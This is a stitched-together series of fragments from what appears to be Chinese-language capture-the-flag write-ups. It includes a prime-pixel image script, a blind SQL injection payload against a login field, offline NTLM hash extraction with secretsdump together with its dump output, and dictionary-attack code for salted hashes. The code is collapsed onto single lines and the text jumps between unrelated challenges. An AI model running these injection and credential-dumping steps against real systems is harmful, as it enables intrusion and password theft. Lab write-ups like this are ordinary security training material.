defis_prime(n): if n < 2: returnFalse if n == 2: returnTrue if n % 2 == 0: returnFalse for i inrange(3, int(sqrt(n)) + 1, 2): if n % i == 0: returnFalse returnTrue
img = Image.open('op.png') w, h = img.size result = Image.new('RGB', (w, h), (255, 255, 255))
for y inrange(h): for x inrange(w): r, g, b = img.getpixel((x, y)) if is_prime(r): result.putpixel((x, y), (0, 0, 0)) else: result.putpixel((x, y), (255, 255, 255))
username=test' OR IF( (SELECT ASCII(SUBSTR(info, <pos>, 1)) = <ord> FROM information_schema.processlist WHERE info LIKE 0x2553454c45435425 LIMIT 1), 1, 0 )# password=test
也可以用二分:
1
ASCII(SUBSTR(info, <pos>, 1)) ><mid>
逐字符恢复 info 后,从 SQL 文本里抽出
<secret_database>.<secret_table>,再把点号换成下划线提交。
一个叫 Bill 的人把秘密藏在加密的 KeePass 数据库里。需要从他的 Windows
SAM 文件开始,走完整条攻击链才能拿到最终的答案。
1 2 3 4
给的文件: files.zip ├── SAM # Windows SAM (Security Account Manager) ├── system # SYSTEM registry hive(对应加密的 boot key) └── keepass.kdb # KeePass 1.x KDB 格式
Solution
Step 1 — 从 SAM + SYSTEM
提取 NTLM hash
secretsdump.py(impacket 包)从 SAM + SYSTEM
离线提取本地用户的 hash:
1 2 3 4 5 6
$ secretsdump.py -sam SAM -system system LOCAL Impacket v0.12.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0xac285427313a1c9a8dc2e8b3421a2e22 [*] Dumping local SAM hashes: Bill:500:7f4ac180230c769790d3d8ad454f5167:cfb69fa6cb1d792d63b02c6eefc807e5:::
# 字典攻击 for word in dictionary: # WC3 h = hashlib.md5(hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt").hexdigest() if h in wc3_hashes: found_wc3.append((len(word), word))
# WC4 — 每条 hash 的 salt 不同 for entry in wc4_raw: target_hash = entry[:-8] # 前 40 hex = SHA1 salt = entry[-8:] # 后 8 hex = 4 bytes salt t = hashlib.sha1(b"zomgsalt4" + word.encode() + bytes.fromhex(salt) + b"zomgsalt4").hexdigest() if t == target_hash: found_wc4.append((len(word), word))